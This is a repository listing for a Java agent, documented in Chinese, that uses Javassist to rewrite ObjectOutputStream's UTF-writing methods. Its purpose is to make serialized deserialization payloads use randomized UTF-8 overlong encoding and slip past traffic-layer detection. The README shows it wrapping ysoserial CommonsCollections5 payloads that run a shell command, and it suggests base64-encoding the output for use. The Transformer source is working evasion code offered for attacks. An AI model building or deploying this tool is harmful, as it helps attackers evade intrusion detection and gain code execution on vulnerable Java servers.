├── assets ├── image-20240423164153836.png ├── image-20240423164533367.png └── image-20240423164808031.png ├── .gitignore ├── README.md ├── src └── main │ └── java │ ├── Main.java │ └── Transformer.java └── pom.xml /assets/image-20240423164153836.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ar3h/utf8-overlong-agent/HEAD/assets/image-20240423164153836.png -------------------------------------------------------------------------------- /assets/image-20240423164533367.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ar3h/utf8-overlong-agent/HEAD/assets/image-20240423164533367.png -------------------------------------------------------------------------------- /assets/image-20240423164808031.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ar3h/utf8-overlong-agent/HEAD/assets/image-20240423164808031.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | !**/src/main/**/target/ 4 | !**/src/test/**/target/ 5 | 6 | ### IntelliJ IDEA ### 7 | .idea/modules.xml 8 | .idea/jarRepositories.xml 9 | .idea/compiler.xml 10 | .idea/libraries/ 11 | .idea 12 | *.iws 13 | *.iml 14 | *.ipr 15 | 16 | ### Eclipse ### 17 | .apt_generated 18 | .classpath 19 | .factorypath 20 | .project 21 | .settings 22 | .springBeans 23 | .sts4-cache 24 | 25 | ### NetBeans ### 26 | /nbproject/private/ 27 | /nbbuild/ 28 | /dist/ 29 | /nbdist/ 30 | /.nb-gradle/ 31 | build/ 32 | !**/src/main/**/build/ 33 | !**/src/test/**/build/ 34 | 35 | ### VS Code ### 36 | .vscode/ 37 | 38 | ### Mac OS ### 39 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # utf8 overlong agent 2 | 3 | 使用 agent 替换`writeUTF`和`writeUTFBody`函数,从而在序列化时生成utf8 overlong数据,绕过流量层检测。 4 | 5 | 6 | 7 | # 用法 8 | 9 | 在生成反序列化payload工具启动时添加 javaagent 参数即可 10 | 11 | ```bash 12 | java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success" 13 | ``` 14 | 15 | 16 | 17 | ![image-20240423164153836](./assets/image-20240423164153836.png) 18 | 19 | 20 | 21 | 可以使用base64编码一下,然后拷贝出来使用 22 | 23 | ![image-20240423164533367](./assets/image-20240423164533367.png) 24 | 25 | 26 | 27 | 默认采用随机混合2、3字节的utf8 overlong编码,每次生成的payload都不一样 28 | 29 | ![image-20240423164808031](./assets/image-20240423164808031.png) 30 | 31 | 32 | 33 | 若想固定使用2或3字节utf8 overlong,指定agent参数即可: 34 | 35 | ```bash 36 | # 2 byte 37 | java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=2 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success" 38 | 39 | # 3 byte 40 | java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=3 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success" 41 | ``` 42 | 43 | 44 | 45 | 46 | 47 | # 参考 48 | https://xz.aliyun.com/t/14300 49 | 50 | https://en.wikipedia.org/wiki/UTF-8 51 | 52 | https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html 53 | 54 | https://github.com/Whoopsunix/utf-8-overlong-encoding 55 | 56 | https://t.zsxq.com/ToFaL 57 | 58 | https://t.zsxq.com/Yg2cc 59 | -------------------------------------------------------------------------------- /src/main/java/Main.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @Author Ar3h 3 | * @Date 2024/4/22 22:37 4 | */ 5 | 6 | import java.lang.instrument.Instrumentation; 7 | 8 | public class Main { 9 | public static int BYTE_LENGTH = 0; 10 | 11 | public static void premain(String agentArgs, Instrumentation inst) { 12 | if (agentArgs != null && agentArgs != "") { 13 | try { 14 | BYTE_LENGTH = Integer.valueOf(agentArgs); 15 | } catch (NumberFormatException e) { 16 | throw new RuntimeException("agentArgs set error, only set 2 or 3"); 17 | } 18 | if (BYTE_LENGTH != 2 && BYTE_LENGTH != 3) { 19 | throw new RuntimeException("agentArgs set error, only set 2 or 3"); 20 | } 21 | System.err.println("[agent] set BYTE_LENGTH => " + BYTE_LENGTH); 22 | } 23 | 24 | Class[] classes = inst.getAllLoadedClasses(); 25 | String targetClassName = "java.io.ObjectOutputStream$BlockDataOutputStream"; 26 | 27 | boolean flag = false; 28 | try { 29 | for (Class aClass : classes) { 30 | if (aClass.getName().equals(targetClassName)) { 31 | System.err.println("find class: " + aClass.getName()); 32 | inst.addTransformer(new Transformer(), true); 33 | inst.retransformClasses(aClass); 34 | flag = true; 35 | } 36 | } 37 | } catch (Exception e) { 38 | e.printStackTrace(); 39 | } 40 | 41 | if (!flag) { 42 | inst.addTransformer(new Transformer()); 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | utf8-overlong-agent 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | 19 | org.javassist 20 | javassist 21 | 3.29.0-GA 22 | 23 | 24 | 25 | 26 | 27 | 28 | org.apache.maven.plugins 29 | maven-assembly-plugin 30 | 3.3.0 31 | 32 | 33 | jar-with-dependencies 34 | 35 | 36 | 37 | Main 38 | Main 39 | 40 | 41 | 42 | 43 | 44 | 45 | make-assembly 46 | package 47 | 48 | single 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /src/main/java/Transformer.java: -------------------------------------------------------------------------------- 1 | import javassist.*; 2 | 3 | import java.io.IOException; 4 | import java.lang.instrument.ClassFileTransformer; 5 | import java.lang.instrument.IllegalClassFormatException; 6 | import java.security.ProtectionDomain; 7 | 8 | public class Transformer implements ClassFileTransformer { 9 | 10 | @Override 11 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { 12 | String targetClassName = "java.io.ObjectOutputStream$BlockDataOutputStream"; 13 | String targetClassNameWithSlash = targetClassName.replace(".", "/"); 14 | 15 | // 判断是否是目标类 16 | if (targetClassNameWithSlash.equals(className)) { 17 | System.err.println("[agent] transform class: " + className); 18 | try { 19 | ClassPool cp = ClassPool.getDefault(); 20 | if (classBeingRedefined != null) { 21 | ClassClassPath classPath = new ClassClassPath(classBeingRedefined); 22 | cp.insertClassPath(classPath); 23 | } 24 | 25 | CtClass cc = cp.get(targetClassName); 26 | cp.importPackage(IOException.class.getName()); 27 | 28 | // 删除 writeUTF 方法 29 | CtMethod writeUTFMethod = cc.getMethod("writeUTF", "(Ljava/lang/String;J)V"); 30 | cc.removeMethod(writeUTFMethod); 31 | 32 | // 添加 writeUTF 方法 33 | CtMethod bewWriteUTFMethod; 34 | if (Main.BYTE_LENGTH == 2 || Main.BYTE_LENGTH == 3) { 35 | bewWriteUTFMethod = CtNewMethod.make(" void writeUTF(String s, long utflen) throws IOException {\n" + 36 | " // if (utflen > 0xFFFFL) {\n" + 37 | " // throw new UTFDataFormatException();\n" + 38 | " // }\n" + 39 | " int len = s.length();\n" + 40 | "\n" + 41 | " writeShort((int) (" + Main.BYTE_LENGTH + " * len ));\n" + 42 | " writeUTFBody(s);\n" + 43 | " }", cc); 44 | } else { 45 | bewWriteUTFMethod = CtNewMethod.make(" void writeUTF(String s, long utflen) throws IOException {\n" + 46 | " // if (utflen > 0xFFFFL) {\n" + 47 | " // throw new UTFDataFormatException();\n" + 48 | " // }\n" + 49 | " int len = s.length();\n" + 50 | " int threeByteCount = len / 2 + 1;\n" + 51 | "\n" + 52 | " writeShort((int) (3 * threeByteCount + 2 * (len - threeByteCount)));\n" + 53 | " writeUTFBody(s);\n" + 54 | " }", cc); 55 | } 56 | cc.addMethod(bewWriteUTFMethod); 57 | 58 | 59 | CtMethod randomCallMethod = CtNewMethod.make(" public static boolean randomCall(int remainingPositions, int remainingCalls) {\n" + 60 | "java.util.Random rand = new java.util.Random();" + 61 | "double probability = (double) $2 / $1;" + 62 | "double randomProbability = rand.nextDouble();" + 63 | "return randomProbability < probability;" + 64 | " }", cc); 65 | cc.addMethod(randomCallMethod); 66 | 67 | 68 | // 删除 writeUTFBody 方法 69 | CtMethod writeUTFBodyMethod = cc.getMethod("writeUTFBody", "(Ljava/lang/String;)V"); 70 | cc.removeMethod(writeUTFBodyMethod); 71 | 72 | 73 | // 添加 writeUTFBody 方法 74 | CtMethod newWriteUTFBodyMethod; 75 | if (Main.BYTE_LENGTH == 2 || Main.BYTE_LENGTH == 3) { 76 | String boolString = Main.BYTE_LENGTH == 3 ? "true" : "false"; 77 | newWriteUTFBodyMethod = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" + 78 | " int limit = MAX_BLOCK_SIZE - 3;\n" + 79 | " int len = s.length();\n" + 80 | "\n" + 81 | " for (int off = 0; off < len; ) {\n" + 82 | " int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" + 83 | " s.getChars(off, off + csize, cbuf, 0);\n" + 84 | " for (int cpos = 0; cpos < csize; cpos++) {\n" + 85 | " char c = cbuf[cpos];\n" + 86 | " if (pos <= limit) {\n" + 87 | " // if (c <= 0x007F && c != 0) {\n" + 88 | " // buf[pos++] = (byte) c;\n" + 89 | " // } else if (c > 0x07FF) {\n" + 90 | "\n" + 91 | " if (" + boolString + ") {\n" + 92 | " buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + 93 | " buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" + 94 | " buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" + 95 | " pos += 3;\n" + 96 | " } else{\n" + 97 | " buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + 98 | " buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" + 99 | " pos += 2;\n" + 100 | " }\n" + 101 | " } else { // write one byte at a time to normalize block\n" + 102 | " if (c <= 0x007F && c != 0) {\n" + 103 | " write(c);\n" + 104 | " } else if (c > 0x07FF) {\n" + 105 | " write(0xE0 | ((c >> 12) & 0x0F));\n" + 106 | " write(0x80 | ((c >> 6) & 0x3F));\n" + 107 | " write(0x80 | ((c >> 0) & 0x3F));\n" + 108 | " } else {\n" + 109 | " write(0xC0 | ((c >> 6) & 0x1F));\n" + 110 | " write(0x80 | ((c >> 0) & 0x3F));\n" + 111 | " }\n" + 112 | " }\n" + 113 | " }\n" + 114 | " off += csize;\n" + 115 | " }\n" + 116 | " }", cc); 117 | 118 | } else { 119 | newWriteUTFBodyMethod = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" + 120 | " int limit = MAX_BLOCK_SIZE - 3;\n" + 121 | " int len = s.length();\n" + 122 | " int threeByteCount = len / 2 + 1;\n" + 123 | "\n" + 124 | " int count = 0;\n" + 125 | "\n" + 126 | " for (int off = 0; off < len; ) {\n" + 127 | " int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" + 128 | " s.getChars(off, off + csize, cbuf, 0);\n" + 129 | " for (int cpos = 0; cpos < csize; cpos++) {\n" + 130 | " char c = cbuf[cpos];\n" + 131 | " if (pos <= limit) {\n" + 132 | " // if (c <= 0x007F && c != 0) {\n" + 133 | " // buf[pos++] = (byte) c;\n" + 134 | " // } else if (c > 0x07FF) {\n" + 135 | "\n" + 136 | // " if (threeByteCount-- > 0) {\n" + 137 | " if (threeByteCount > 0 && randomCall(len - count, threeByteCount)) {\n" + 138 | " buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + 139 | " buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" + 140 | " buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" + 141 | " pos += 3;\n" + 142 | " threeByteCount--;\n" + 143 | " } else{\n" + 144 | " buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + 145 | " buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" + 146 | " pos += 2;\n" + 147 | " }\n" + 148 | " } else { // write one byte at a time to normalize block\n" + 149 | " if (c <= 0x007F && c != 0) {\n" + 150 | " write(c);\n" + 151 | " } else if (c > 0x07FF) {\n" + 152 | " write(0xE0 | ((c >> 12) & 0x0F));\n" + 153 | " write(0x80 | ((c >> 6) & 0x3F));\n" + 154 | " write(0x80 | ((c >> 0) & 0x3F));\n" + 155 | " } else {\n" + 156 | " write(0xC0 | ((c >> 6) & 0x1F));\n" + 157 | " write(0x80 | ((c >> 0) & 0x3F));\n" + 158 | " }\n" + 159 | " }\n" + 160 | " count++;\n" + 161 | " }\n" + 162 | " off += csize;\n" + 163 | " }\n" + 164 | " }", cc); 165 | 166 | } 167 | cc.addMethod(newWriteUTFBodyMethod); 168 | 169 | System.err.println("[agent] modify success"); 170 | 171 | byte[] bytes = cc.toBytecode(); 172 | cc.detach(); 173 | return bytes; 174 | } catch (Exception e) { 175 | e.printStackTrace(); 176 | return null; 177 | } 178 | } 179 | return null; 180 | } 181 | } 182 | --------------------------------------------------------------------------------